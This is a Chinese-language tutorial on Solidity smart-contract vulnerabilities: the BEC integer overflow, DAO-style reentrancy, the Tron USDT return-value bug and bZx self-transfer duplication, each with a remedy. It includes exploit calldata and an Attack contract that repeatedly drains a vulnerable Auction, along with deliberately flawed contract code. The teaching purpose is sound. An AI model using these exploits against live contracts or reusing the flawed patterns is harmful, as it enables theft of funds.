溢出

【案例】美链

美链BEC合约

攻击的交易:0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f

1
2
3
4
5
6
7
8
Function: batchTransfer(address[] _receivers, uint256 _value)

MethodID: 0x83f12fec
[0]:  0000000000000000000000000000000000000000000000000000000000000040 // 第一个参数出现在4*16个字节位置
[1]:  8000000000000000000000000000000000000000000000000000000000000000 // _value
[2]:  0000000000000000000000000000000000000000000000000000000000000002 // _receivers数组长度
[3]:  000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033 // _receivers的第一个元素
[4]:  0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7 // _receivers的第二个元素

显然,uint256(cnt) * _value = 0,因为计算结果为"1+64个零",而uint256只有256位即64位16进制。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
    uint cnt = _receivers.length;
    uint256 amount = uint256(cnt) * _value; //运算溢出
    require(cnt > 0 && cnt <= 20);
    require(_value > 0 && balances[msg.sender] >= amount);

    balances[msg.sender] = balances[msg.sender].sub(amount);
    for (uint i = 0; i < cnt; i++) {
        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;
  }

【补救方法】使用openzeppelin-contracts 安全运算方法SafeMath,其实就是判断结果是否溢出,若溢出则抛出错误,回滚

1
2
3
4
5
6
7
8
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
 	if (a == 0) {
 		return 0;
 	}
 	uint256 c = a * b;
 	require(c / a == b, "SafeMath: multiplication overflow");
 	return c;
}

重入攻击Reentrancy

【案例】The Dao

0.6.0之前合约回调函数:给合约C发送交易时,若data中没有C的任何方法,则会调用下面fallback函数

1
2
function() external payable {
}

漏洞示例代码和攻击方式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pragma solidity >=0.4.25;

contract Auction {
    mapping(address=>uint256) userBalance;
    
    function bid() public payable {
        userBalance[msg.sender] += msg.value;
    }
   
    function withdraw() public returns (bool) {
      uint256 amount = userBalance[msg.sender];
      // 设调用withdraw的帐号为A,A是个合约帐号,msg.sender.call会调用A的fallback函数,A的fallback里调用withdraw
      // 导致在userBalance[msg.sender]置回零之前,重复给A帐号退款
      if(msg.sender.call.value(amount)()){ //可重复攻击  
         userBalance[msg.sender] = 0;
         return true;
      }
      return false;
   }
}

// 用于攻击的合约帐号
contract Attack {
    address auctionAddress;
    int n=2;
    
    
    constructor(address addr) public{
        auctionAddress = addr;
    }
    
    function bid() public payable {
        Auction auction = Auction(auctionAddress);
        auction.bid.value(msg.value)();
    }
    
    function withdraw() public {
        Auction auction = Auction(auctionAddress);
        auction.withdraw();
    }
    
   	// 调用withdraw方法,在次申请退款,此时Auction还没把帐号余额设为0
   	// fallback函数
    function()  public payable {
        if(n>0){
            n--;
            Auction auction = Auction(auctionAddress);
            auction.withdraw();
        }
    }
}

【补救方法】

  1. 使用msg.sender.send(amount),因为msg.sender.send只为发送2300gas,让恶意合约无gas再做任何操作
  2. 退款的帐号设为0,转账失败再恢复
1
2
3
4
5
6
7
8
9
function withdraw() public returns (bool) {
      uint256 amount = userBalance[msg.sender];
      userBalance[msg.sender] = 0;
      if(!msg.sender.send(amount)()){ 
         userBalance[msg.sender] = amount;
         return false;
      }
      return true;
}

波场DeFi 项目 Myrose无法提现

由于波场USDT合约的transfer函数未使用ERC20规范的写法,虽然transfer函数定义了returns(bool),但是函数在执行时未返回对应的值,导致返回了默认的false。从而导致safeTransfer进行调用时对返回值的判断为false,最终造成用户无法成功提现的问题。下面是对问题的复现 »

SafeERC20

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
 * @title SafeERC20
 * @dev Wrappers around ERC20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    using SafeMath for uint256;
    using Address for address;

    function safeTransfer(
        IERC20 token,
        address to,
        uint256 value
    ) internal {
        callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
        // solidity的函数选择器是从它的函数名和输入参数的类型中派生出来的:selector = bytes4(sha3(“transfer()”)),
        // 有没有返回值它不会管
    }

  ...
    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) {
            // require校验返回的bool数值,false则回滚,提示操作失败
            require(
                abi.decode(returndata, (bool)),
                "SafeERC20: ERC20 operation did not succeed"
            );
        }
    }
}

1
2
3
4
5
6
7
8
contract USDT_Tron is IERC20 {
    ...
    function transfer(address to, uint value) public returns (bool) {
        _transfer(msg.sender, to, value);
        // 无显式return,默认返回false。而在safeTransfer中调用transfer,callOptionalReturn的returndata会一直是false
    }
    ...
}

DeFi 项目 bZx-iToken 盗币

»

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
contract Test {
   ...
    function transferFrom(
        address _from,
        address _to,
        uint256 _value)
        external
        returns (bool)
    {
        return _internalTransferFrom(
            _from,
            _to,
            _value,
            allowed[_from][msg.sender]
            /*ProtocolLike(bZxContract).isLoanPool(msg.sender) ?
                uint256(-1) :
                allowed[_from][msg.sender]*/
        );
    }

    function _internalTransferFrom(
        address _from,
        address _to,
        uint256 _value,
        uint256 _allowanceAmount)
        internal
        returns (bool)
    {
        if (_allowanceAmount != uint256(-1)) {
            allowed[_from][msg.sender] = _allowanceAmount.sub(_value, "14");
        }

        uint256 _balancesFrom = balances[_from];
        uint256 _balancesTo = balances[_to];

        require(_to != address(0), "15");

        uint256 _balancesFromNew = _balancesFrom
            .sub(_value, "16");
        balances[_from] = _balancesFromNew;

        uint256 _balancesToNew = _balancesTo
            .add(_value);
        balances[_to] = _balancesToNew;
        // 变量覆盖,当_from与_to一致时,其地址凭空得到_value个币

        emit Transfer(_from, _to, _value);
        return true;
    }
}